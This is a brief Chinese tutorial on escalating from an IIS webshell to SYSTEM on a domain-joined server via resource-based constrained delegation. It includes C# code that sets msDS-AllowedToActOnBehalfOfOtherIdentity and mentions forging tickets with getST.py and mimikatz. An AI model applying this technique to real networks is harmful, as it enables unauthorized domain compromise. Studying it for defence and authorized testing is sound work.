假设这样一种场景,在域中获取了一台IIS机器的webshell,默认权限iis defaultapppool,在试了其他办法后仍然无法提权至system权限时,可以试试基于资源的约束委派来获取IIS所在机器的system权限。要成功利用这种技术需要两个前提,一个是需要域中的一个服务账号或普通域账号的密码或者哈希值,另一个就是IIS所在机器加入了域。
如果没有服务账号,可以通过普通域账号创建一个新的机器账号,以此来设置这个机器账号到IIS所在机器的资源约束委派。设置资源约束委派的关键源码如下:
public static void setResacl(String sid, String iisName)
{
DirectoryEntry ldap = new DirectoryEntry("LDAP://" + sn);
ldap.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
DirectorySearcher s = new DirectorySearcher(ldap);
s.Filter = "(&(|(objectcategory=computer)(objectcategory=user))(name=" + iisName + "))";
try
{
DirectoryEntry x = s.FindOne().GetDirectoryEntry();
RawSecurityDescriptor sd = new RawSecurityDescriptor("O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid + ")");
byte[] z = new byte[sd.BinaryLength];
sd.GetBinaryForm(z, 0);
x.Properties["msDS-AllowedToActOnBehalfOfOtherIdentity"].Value = z;
x.CommitChanges();
Console.WriteLine("write ok!!!");
}
catch { ; }
ldap.Dispose();
}
源码中,sid表示新创建的机器账号的objectSid属性值,iisName表示IIS所在机器的名称。
通过webshell上传可以设置资源委派的程序到IIS服务器中,直接运行程序就会成功设置资源约束委派:
如上图所示,虽然运行程序的权限很低,但是程序在域中请求网络资源时是用所在机器的机器账号这一身份来请求的,在这里就相当于IIS所在机器会请求修改自身msDS-AllowedToActOnBehalfOfOtherIdentity属性值,而默认情况下自身是有权限修改自己的这个属性值的。
委派设置成功后,通过getST.py模拟administrator来申请一张高权限票据,然后通过mimikatz注入票据:
看下运行的权限,是SYSTEM表示提权成功: